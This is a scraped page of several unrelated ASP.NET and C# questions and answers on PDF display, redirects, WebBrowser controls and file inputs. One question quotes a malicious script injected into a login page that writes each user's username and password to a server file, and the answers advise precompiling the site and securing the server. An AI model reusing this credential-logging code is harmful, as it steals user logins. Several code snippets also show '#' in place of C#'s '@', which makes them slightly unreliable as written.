I have to display a pdf file in an iframe control in .net web application.But when I run the application it could not load the pdf file in an iframe control. I don't know the reason for this...
This is my code...
aspx code :
<iframe id="frmWord" runat="server" style="height: 500px; width: 500px;"></iframe>
C# Code :
protected void Button1_Click(object sender, EventArgs e)
{
frmWord.Attributes.Add("src", Server.MapPath(#"~/iplt20.pdf"));
}
my pdf file is physically located in my project folder like below:
D:\vs-2010projects\rti_chk\rti_chk\iplt20.pdf
I have tried in ie,firefox,chrome also...
If firefox, inside iframe control it says "The address wasn't understood Firefox doesn't know how to open this address, because the protocol (d) isn't associated with any program."
Please guide me to get out of this issue...
User cannot drectly access local paths on server.
instead of d:\path_to_file you should produce something like http://youdomain.com/path-to_file
so
protected void Button1_Click(object sender, EventArgs e)
{
var fullPath = ResolveUrl(filePath); // this could work instead of string concat
//var fullPath = String.Format("{0}/{1}",serverpath,filepath);
frmWord.Attributes.Add("src", fullPath);
}
Related
I have a panel which displays a form which displays a webbrowser. In the UI designer I added the Url of my .html file and it worked fine.
But now I am using my application on a different system and thus the path to the .html does not exists.
So I have to do it in code and use string sspBaseFile = System.AppDomain.CurrentDomain.BaseDirectory;
In this function I am trying to get it to work. The form has a UI element called webbrowser1
private void SSP_Load(object sender, EventArgs e)
{
this.webBrowser1.DocumentTitleChanged += new EventHandler(webBrowser1_DocumentTitleChanged);
this.Controls.Add(webBrowser1);
webBrowser1.AllowNavigation = true;
this.webBrowser1.Navigate(new Uri(sspBaseFile + "frmSSPeditor.html"));
}
Why isn't the html displayed? I verified that the .html is in the correct place, next to the binary.
I have a function which display a pdf file. Im using Internet Explorer and it's upto date. I tried to do it in two computers. In one browser it asks to open through a pdf reader while other one opens a tab and display an empty page. I've tried many codes found in the internet even in stackoverflow. But nothing works as i want. Here i have added my code. Please take a look at it.
Linkbutton click event
protected void pdfViewLOP_Click(object sender, EventArgs e)
{
Response.Write(string.Format("<script>window.open('{0}','_blank');</script>", "viewPDF.aspx"));
}
code in new page which pdf should be displayed
protected void Page_Load(object sender, EventArgs e)
{
try
{
string name = Session["name"].ToString();
string FilePath = Server.MapPath("~/filesPDF/" + name);
WebClient client = new WebClient();
Byte[] buffer = client.DownloadData(FilePath);
if (buffer != null)
{
Response.Clear();
Response.ContentType = "application/pdf";
Response.AddHeader("content-length", buffer.Length.ToString());
Response.BinaryWrite(buffer);
}
}
catch (Exception ex)
{
WebMsgBox.Show(ex.Message);
}
}
It is likely due to settings on the client machine, specifically Adobe preferences.
To change the default PDF open behavior when using a web browser:
Choose Edit—>Preferences
Select the Internet category from the list on the left
To display the PDF in the browser, check "Display in browser"
To open PDFs from the web directly in Acrobat, uncheck "Display in browser:
See this article and this article.
Also note: To display a PDF in your browser, your cache control headers must allow the browser to create a temporary copy of the PDF. If you are setting cache hints to prevent caching (e.g. if you application contains sensitive pages) you might be better off letting the user download the PDF and view it offline.
I'm using ASP.NET Web Forms and I want on the click of a button to direct to another page.
Design view:
<asp:ImageButton ID="ShowAllEvents" runat="server" ImageUrl="../../../../_layouts/15/FransabankCalendar/img/all.png" OnClick="ShowAllEvents_Click"/>
Code:
protected void ShowAllEvents_Click(object sender, ImageClickEventArgs e)
{
Response.Redirect(ResolveUrl("~/_layouts/15/Fransabank/ListEvents.aspx"));
}
The problem is that when I click the button it results in:
404 FILE NOT FOUND
I tried also:
protected void ShowAllEvents_Click(object sender, ImageClickEventArgs e)
{
Server.Transfer(ResolveUrl("~/_layouts/15/Fransabank/ListEvents.aspx"));
}
But the it gave the same result. What could be the problem?
If you want address of page
On visual studio find your page ListEvents.aspx and right click on it select Properties and copy the address you want redirect into that from Browse to URL attribute
Response.Redirect("~/_layouts/15/Fransabank/ListEvents.aspx");
Try this
Response.Redirect("~/_layouts/15/Fransabank/ListEvents.aspx");
or
Response.Redirect("~/layouts/15/Fransabank/ListEvents.aspx");
Yesterday my web application has been changed by a virus, who edited the login page. When I opened the aspx file I came across the following script:
<script runat="server">
protected void btnLogin_Click(object sender, EventArgs e)
{
using (System.IO.StreamWriter file = new System.IO.StreamWriter(#"C:\Inetpub\wwwroot\...\ldaptxt2.txt", true))
{
file.WriteLine(username.Text + "|" + password.Text);
}
}
</script>
Does anyone know how to not allow this?...
Best practice is to Precompile your views and code behind files on production environment.
http://msdn.microsoft.com/en-us/library/vstudio/bb398860(v=vs.100).aspx
Anyone who can modify the aspx pages can also replace the assemblies in your bin folder. The correct thing to do is to secure the web server.
i have been trying to upload a file to Fileshawk.com from my application.
Here is how i did it :
1- Created a web browser control
2- Loaded the page
3- in the web page it has an input tag of file.
4- i tried to add the file to HTML by using that method which failed.
private void Set_Text_TAG_INPUT(string attribute, string attname, string value)
{
// Get a collection of all the tags with name "input";
HtmlElementCollection htmle = webBrowser1.Document.GetElementsByTagName("input");
foreach (HtmlElement current in htmle)
{
if (current.GetAttribute(attribute).Equals(attname))
{
current.SetAttribute("value", value);
}
}
}
private void button1_Click(object sender, EventArgs e)
{
Set_Text_TAG_INPUT("id","upfile_1342028154587", "FILE.txt");
}
So it didn`t change the value of the Input tag.
Is there any way to add my file to the HTML or page code and about pressing upload i already have a method that invokes the web browser button and click it.
For example , when you click Select file from the input file tag , a window pop up and you select the file , now when you click okay , where is that file stored in the HTML ?
Finally excuse me if i am a newbie in HTML and web knowledge.
This is a security feature in browsers. You cannot programmatically set the value of the value of an input tag of type 'file' since it would introduce a security hole (e.g. a malicious developer could set the value right before handling a submit event and get whatever file they wanted).
Use WebScraper, a C# .NET library to upload file/download file easily, but you need to analyze Fileshawk.com HTML to come up with your own WebScraper syntax, there are totally 22 file host syntax available for sample and already useable.
http://sorainnosia.com/Home/Article/WEBSCRAPER